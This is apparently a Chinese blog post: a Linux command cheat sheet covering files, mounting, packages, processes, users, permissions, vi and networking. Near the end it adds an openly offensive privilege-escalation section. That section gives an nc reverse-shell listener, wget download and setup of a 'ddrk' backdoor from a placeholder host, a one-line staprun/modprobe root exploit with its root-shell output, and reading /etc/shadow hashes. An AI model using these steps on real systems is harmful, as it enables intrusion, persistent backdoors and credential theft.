linux命令合集

发布于 2020-05-14  79 次阅读


-eq //等于
-ne //不等于
-gt //大于 (greater )
-lt //小于 (less)
-ge //大于等于
-le //小于等于
cat 查看文件内容 cat >文件名 表示输出重定向到该文件,若文件不存在则创建,并且受到输入内容,按Ctrl+v结束若文件存在则覆盖内容 ,
在>前面加2,只重定向命令执行后的输出信息中的错误信息
cat >>文件名,也表示输出重定向到该文件,若文件不存在则创建,若文件存在则在后面追加内容。
more 按页查看文件内容 more +行数,表示从这一行开始看 more -行数 表示每一页显示的行数

cp file1 file2复制文件。 cp -p 可以将文件权限一起复制,若不加p则默认root
touch 快速创建文件
rm 删除文件 rm -f 不询问直接删除 rm -rf 不询问递归删除可删除非空目录
ln 创建链接 ln a b b是a的连接,ab指向同一磁盘,但在逻辑上是两个文件,删除b不会影响a
ln -s a b 创建软连接,即符号连接,类似于Windows的快捷文件.
ifconfig 网卡设备名 IP地址 netmask 子网掩码 设置ip
dmseg 显示设备信息,和greo联合使用

rom -qa | grep 软件包 查找是否存在软件包
rpm -e 软件包 删除软件包
ps -el查看进程
top 查看进程动态
已经存在的进程用renice -2(ni值) 5530(进程号) root用户可以把优先级调低,普通用户只能调高
nice -1 ping www.baidu.com 提交一个新进程(这里用ping百度举例)并设定ni值
uname显示系统信息 一般用uname -a uname -r查看内核版本
man 查看命令手册。按q退出
shutdownpoweroff关机关电源,shutdown必须要参数 shutdown -h now,root才能执行 halt关机不关电源, robot重启(root用户使用)。init 6重启,init 0关机
alias给命令起别名alias 别名=命令 unalias取消别名 unalias 别名
history查看历史使用过的命令,默认可以记录最近使用的一千条命令。执行使用过的命令可以用上下键翻。也可以用 !编号。执行history列出的对应编号的命令

设置环境变量 set 环境变量=值 不加任何参数的set显示用户当前所有环境变量
在环境变量前加$,表示引用环境变量的值,例如把目录切换到用户主目录: #cd $HOME 当修改PATH变量的值时 #PATH=amt:$PATH

gcc C语言编辑器
gcc 直接编辑C语言脚本会生成一个a.out可执行文件,第二次编译又会生成一个a.out并覆盖前面的文件
使用output 并且命名可以解决之前的问题,命令如下
gcc -o 命名 C语言脚本文件
例:gcc - o hello hello.c

使用source和. 运行脚本时,在父shell中运行
使用bash运行时在子程序中运行。
运行方式会影响变量的作用域

usermod -l +用户锁定用户,锁定用户之后,该用户在/etc/shadow密码配置文件中密码字段钱会出现“!”
usermod -u +用户 解锁锁定用户

userdel 删除用户 -r 删除用户同时删除该账户对应的主目录

passwd 账户名 修改该账户密码 -l 通过锁定密码的方式暂时禁止用户登录系统 -u 解锁

su切换用户

groupadd [参数]用户组名 创建用户组 用户组的配置信息保存在/etc/group
gpasswd -a 用户名 用户组名 添加用户到用户组
gpasswd -d 用户名 用户组名 从用户组移除用户
gpasswd -A 用户名 用户组名 指定用户为用户组的管理员

chmod 777 test 给属主,同组和其让他用户分配读写,和执行权限
555 给属主用户分配读和执行的权限而还其他用户无权限
666 给属主,同组以及其他用户分配读和=写的权限
711 给属主分配读写执行权限,同组和其他用户分配执行权限

mount 分区 挂载点
挂载命令指示暂时的,重新开机之后不存在,若要一直存在需要修改/etc/ftab文件的内容
fsck -a /dev/sdb1 检查修复故障的分区设备 已经挂载的无法执行这个命令
umount db1(设备名或者挂载点都可) 取消挂载

Windows的cmd命令 nslookup 可以对域名dns进行正反向查询测试

常用9类命令   

一、文件目录类
1.建立目录:mkdir 目录名
2.删除空目录:rmdir 目录名
3.无条件删除子目录: rm -rf 目录名
4.改变当前目录:cd 目录名 (进入用户home目录:cd ~;进入上一级目录:cd -)
5.查看自己所在目录:pwd
6.查看当前目录大小:du
7.显示目录文件列表:ls -l (-a:增加显示隐含目录)
其中:蓝:目录;绿:可执行文件;红:压缩文件;浅蓝:链接文件;灰:其他文件;红底白字:错误的链接文件
8.浏览文件:more 文件名.txt;less 文件名.txt
9.复制文件: cp 源文件 目标文件 (-r:包含目录)
10.查找文件:(1)find (2)locate 命令名
11.链接:(1)建立hard链接:ln 来源文件 链接文件(-d:创建目录链接);(2)建立符号链接:ln -s 来源文件 链接文件

二.驱动挂载类
1.检查硬盘使用情况:df -T -h
2.检查磁盘分区:fdisk -l
3.挂载软硬光区:mount -t /dev/fdx|hdax /mnt/目录名
其中::modos--FAT16;vfat--FAT32;ntfs--NTFS;光驱--iso9660
支持中文名:mount -o iocharset=x /dev/hdax /mnt/目录名(其中:x=cp936或
挂载光驱:mount -t auto /dev/cdrom /mnt/cdrom
挂载ISO文件:mount -t iso9660 -o loop xxx.iso /path
4.解除挂载:umount /mnt/目录名
解除所有挂载:umount -a
5.建立文件系统:mkfs -t /dev/hdxx。其中:ftype:ext2、ext3、swap等

三.程序安装类
1.RPM包安装:(1)安装 rpm -ivh somesoft.rpm
(2)反安装 rpm -e somefost.rpm
(3)查询 rpm -q somefost 或 rpm -qpi somefost.rpm(其中:p未安装;i包含的信息)
(4)查询安装后位置:rpm -ql somefost.rpm
(5)升级安装:rpm -Uvh somesoft.rpm
(6)强制安装:rpm -ivh --nodeps somesoft.rpm 或 rpm -ivh --nodeps --force somesoft.rpm

2.源代码包安装:
查阅README
基本用法 (1)配置:解压目录下 ./configure
(2)编译:解压目录下 make
(3)安装:解压目录下 make install
3.src.rpm的安装
需要用到rpmbuild命令加上--rebuild参数。如 rpmbuild --rebuild ***.src.rpm。然后在/usr/src/下找
3.FC3下iso程序安装:system-config-packages --isodir=iso所在目录
RH下iso程序安装:redhat-config-packages --isodir=iso所在目录

四.压缩解压类
1.tar.gz类:(1)解压:tar -xvzf 文件.tar.gz;(2)tar.gz解至tar:gzip -d 文件.tar.gz(2)压缩:gzip 待压缩文件
2.tar未压缩类:(1)解包:tar -xvf 文件.tar;(2)打包:tar -cvf 文件.tar 文件列表
3.zip类:(1)解压:unzip 文件.zip -d dir;(2)压缩:zip zipfile 待压缩文件列表
4.bz2类:(1)解压:bunzip2 文件.bz2或bzip2 -d 文件.bz2;(2)压缩:bzip2 待压缩文件
5.z类:(1)解压:uncompress 文件.z;(2)压缩:compress 文件

五.进程控制类
1.列出当前进程ID:ps -auxw
2.终止进程:(1)终止单一进程:kill 进程ID号
(2)终止该程序所有进程:Killall 程序名
(3)终止X-Window程序:xkill
3.查看资源占用情况:(1)top (2)free (3)dmesg
4.查看环境变量值:env
5.重启:(1)reboot (2)Ctrl Alt Del (3)init 6
6.关机:(1)shutdown -h now (2)halt (3)init 0
7.切换桌面:switchdesk gnome|KDE|...

六.程序运行类
1.查询命令:whereis 命令名
2.后台运行X-Window程序:程序名&
3.强行退出X-Window程序:Ctrl Alt Backspace
4.查看帮助:
(1)简明帮助:命令名 --help | less
(2)更多帮助:man 命令名
(3)info 命令名
(4)help 命令名
5.查看系统路径:echo $PATH
6.查看当前shell堆栈:echo $SHLVL
7.< / >:输入/输出重定向;|:管道左的输入是管道右输入

六.用户帐号类
1.增加用户帐号:(1)用 户 名:adduser 用户帐号名
(2)设置密码: passwd 用户帐号名
2.删除用户帐号:userdel 用户帐号名
3.增加用户组:groupadd 用户组名
4.删除用户组:groupdel 用户组名
5.暂时终止用户帐号:passwd -l 用户帐号名
6.恢复被终止帐号:passwd -u 用户帐号名
7.权限设定
(1)chmod -a|u|g|o |-|=r|w|x 文件/目录名
其中:a--所有用户(all);u--本用户(user);g--用户组(group);o--其他用户(other users)
--增加权限;---删除权限;=--设置权限
文件:r--只读权限(read);w--写权限(write);x--执行权限(execute)
目录:r--允许列目录下文件和子目录;w--允许生成和删除目录下文件;x--允许访问该目录
(2)chmod xxx 文件/目录名
其中:execute=1;write=2;read=4
x取值:0--没有任何权限(常用);1--只能执行(不常见);2--只能写(不常见);3--只能写和执行(不常见);4--只读(常见);5--只读和执行(常见);6--读和写(常见);7--读.写和执行

七.vi编辑类
1.进入后为命令模式:(1)插入i;(2)打开0;(3)修改c;(4)取代r;(5)替换s
2.经(1)后进入全屏幕编辑模式。
3.命令模式-->编辑模式(a/i);编辑模式-->命令模式(Esc);命令模式-->末行模式(:)。
4.:w/w newfile保存
5.:q/q!退出iv;:wq保存退出

八.网络服务
1.显示网络接口参数:ifconfig
2.显示系统邮件:mail
3.启动/终止web服务:httpd -k start|stop|restart
4.查看网络状况:(1)联机状况:ping xxx.xxx.xxx.xxx;
(2)显示网络状况:netstat ,其中:options:-a==所有sockets;-l==包含网络设备;-n==数字IP;
-o==其他信息;-r==路由表;-t==只列TCP sockets;-u==只列UDP sockets;-w==只列raw sockets;
-x==只列Unix Domain sockets

九.其他类
1.显示显卡3D信息:glxinfo和glxgears

提权常用方面

反弹用的
nc -vv -l -p 443 nc端口转发
下载文件
wget     下载编译文件。
gcc 编译
cd /etc   这个就不说了
ls -la    同上
adduser fans (用户名) 加用户
passwd 用户名 密码
cat /etc/shadow 查看文件
chmod 777 文件或目录  赋权
chmod 777 * cat /etc/ | grep 关键字
uname -a 版本
sysctl 内核
server 服务器
id 用户组
cat shadow 看hash
pwd 目录
gcc hoolyshit.c -o hoolyshit 编译

webshell后提权方面思路

一。反弹cmdline shell
直接使用webshell中的反弹回来,本地nc监听nc -vlp 12666
二。提权为root
uname -a 查看内核版本 寻找相应的exp提权
三。安装ddrk后门
wget http://www.xx.com/ddrk.tgz
tar zxvf ddrk.tgz
cd ddrk
./setup pass port
一句话提权命令:
[b@fuckks~]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTI*****="-C exploit.conf" staprun -u whatever
sh-3.2# uname -a
Linux xlsec 2.6.18-194.el5 #1 SMP Tue Mar 16 21:52:43 EDT 2010 i686 i686 i386 GNU/Linux
sh-3.2# cat /etc/redhat-release
Red Hat Enterprise Linux Server release 5.5 (Tikanga)
sh-3.2#

系统信息方面

系统
# uname -a # 查看内核/操作系统/CPU信息
# head -n 1 /etc/issue # 查看操作系统版本
# cat /proc/cpuinfo # 查看CPU信息
# hostname # 查看计算机名
# lspci -tv # 列出所有PCI设备
# lsusb -tv # 列出所有USB设备
# lsmod # 列出加载的内核模块
# env # 查看环境变量
资源
# free -m # 查看内存使用量和交换区使用量
# df -h # 查看各分区使用情况
# du -sh # 查看指定目录的大小
# grep MemTotal /proc/meminfo # 查看内存总量
# grep MemFree /proc/meminfo # 查看空闲内存量
# uptime # 查看系统运行时间、用户数、负载
# cat /proc/loadavg # 查看系统负载
磁盘和分区
# mount | column -t # 查看挂接的分区状态
# fdisk -l # 查看所有分区
# swapon -s # 查看所有交换分区
# hdparm -i /dev/hda # 查看磁盘参数(仅适用于IDE设备)
# dmesg | grep IDE # 查看启动时IDE设备检测状况
网络
# ifconfig # 查看所有网络接口的属性
# iptables -L # 查看防火墙设置
# route -n # 查看路由表
# netstat -lntp # 查看所有监听端口
# netstat -antp # 查看所有已经建立的连接
# netstat -s # 查看网络统计信息
进程
# ps -ef # 查看所有进程
# top # 实时显示进程状态
用户
# w # 查看活动用户
# id # 查看指定用户信息
# last # 查看用户登录日志
# cut -d: -f1 /etc/passwd # 查看系统所有用户
# cut -d: -f1 /etc/group # 查看系统所有组
# crontab -l # 查看当前用户的计划任务
服务
# chkconfig --list # 列出所有系统服务
# chkconfig --list | grep on # 列出所有启动的系统服务
程序
# rpm -qa # 查看所有安装的软件包

——部分转自遗忘'BLOG


学不动了,带带孩子吧。